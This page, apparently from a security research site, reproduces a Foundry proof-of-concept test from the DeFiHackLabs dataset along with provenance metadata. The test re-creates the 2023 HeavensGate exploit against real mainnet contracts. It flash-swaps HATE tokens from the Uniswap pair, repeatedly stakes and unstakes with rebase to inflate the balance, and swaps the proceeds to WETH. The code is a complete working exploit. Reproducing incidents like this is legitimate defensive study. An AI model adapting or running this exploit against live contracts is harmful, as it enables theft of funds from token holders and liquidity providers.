Public reproduction file
src/test/2023-09/HeavensGate_exp.sol
Public reproduction file for dataset entry HeavensGate.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~8ETH8// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f69// Attack Contract : https://etherscan.io/address/0x8faa53a742fc732b04db4090a21e955fe5c230be10// Attack Contract : https://etherscan.io/address/0x38702e5c98ba4ad4b786d5a075a5c74694cd616d11// Attack Tx : https://etherscan.io/tx/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda83412// Attack Tx : https://etherscan.io/tx/0x8e1b0ab098c4cc5f632e00b0842b5f825bbd15ded796d4a59880bb724f6c537214// @Analysis15// Twitter Guy : https://twitter.com/hexagate_/status/169900371193721690517interface Staking {18 function stake(address _to, uint256 _amount) external;20 function unstake(address _to, uint256 _amount, bool _rebase) external;22 function rebase() external;23}25interface IsHATE is IERC20 {26 function rebase(uint256 amount_, uint256 epoch_) external returns (uint256);28 function circulatingSupply() external view returns (uint256);29}31contract ContractTest is Test {32 IERC20 HATE = IERC20(0x7b768470590B8A0d28fC714d0A70754d556D14eD);33 IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));34 Uni_Pair_V2 HATE_ETH_Pair = Uni_Pair_V2(0x738dab4AF8D21b7aafb73545D79D3B4831eE79dA);35 Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);36 Staking HATEStaking = Staking(0x8EBd6c7D2B79CA4Dc5FBdEc239a8Bb0F214212b8);37 IsHATE sHATE = IsHATE(0xf829d7014Db17D6DCe448bE958c7e4983cdb1F77);38 uint256 flashAmount;40 function setUp() public {41 vm.createSelectFork("mainnet");42 vm.label(address(HATE), "HATE");43 vm.label(address(WETH), "WETH");44 vm.label(address(HATE_ETH_Pair), "Uniswap HATE");45 vm.label(address(HATEStaking), "HATEStaking");46 vm.label(address(sHATE), "sHATE");47 }49 function testExploit1() external {50 vm.rollFork(18_069_528 - 1);51 approveAll();52 console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));53 flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 9 / 10;54 HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"03");56 address[] memory path = new address[](2);57 (path[0], path[1]) = (address(HATE), address(WETH));58 uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(59 HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp60 );61 emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals());62 }64 function testExploit2() external {65 vm.rollFork(18_071_199 - 1);66 approveAll();67 console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));68 flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 7 / 10;69 HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"1e");71 address[] memory path = new address[](2);72 (path[0], path[1]) = (address(HATE), address(WETH));73 uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(74 HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp75 );76 emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals());77 }79 function uniswapV2Call(address, /*sender*/ uint256 amount0, uint256, /*amount1*/ bytes calldata data) external {80 uint256 i = 0;81 while (i < uint8(data[0])) {82 uint256 balanceAttacker = HATE.balanceOf(address(this));83 HATEStaking.stake(address(this), balanceAttacker);84 uint256 sTokenBalance = sHATE.balanceOf(address(this));85 HATEStaking.unstake(address(this), sTokenBalance, true);86 i += 1;87 }88 HATE.transfer(address(HATE_ETH_Pair), uint256(amount0 * 1000 / 997) + 1);89 }91 function approveAll() internal {92 HATE.approve(address(HATEStaking), type(uint256).max);93 HATE.approve(address(uniRouter), type(uint256).max);94 sHATE.approve(address(HATEStaking), type(uint256).max);95 }96}Analysis
Dataset entry
Public Foundry test for “HeavensGate” (2023-09-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
- src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
- src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
- src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
- src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
- src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
- src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
- src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
- Attack Contract
0x8faa53a742fc732b04db4090a21e955fe5c230be
- Attack Contract
0x38702e5c98ba4ad4b786d5a075a5c74694cd616d
- Attack Tx
0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834
- Attack Tx
0x8e1b0ab098c4cc5f632e00b0842b5f825bbd15ded796d4a59880bb724f6c5372
- Twitter: https://twitter.com/hexagate_/status/1699003711937216905
- Explorer: https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
- Explorer: https://etherscan.io/address/0x8faa53a742fc732b04db4090a21e955fe5c230be
- Explorer: https://etherscan.io/address/0x38702e5c98ba4ad4b786d5a075a5c74694cd616d
File record
- Name
- HeavensGate
- Path
- src/test/2023-09/HeavensGate_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a1dda24332e34ee44ef020562b42a89c61336b89
- Language
- Solidity
- Size
- 97 lines
- Date
- 2023-09-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-09/HeavensGate_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a1dda24332e34ee44ef020562b42a89c61336b89, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.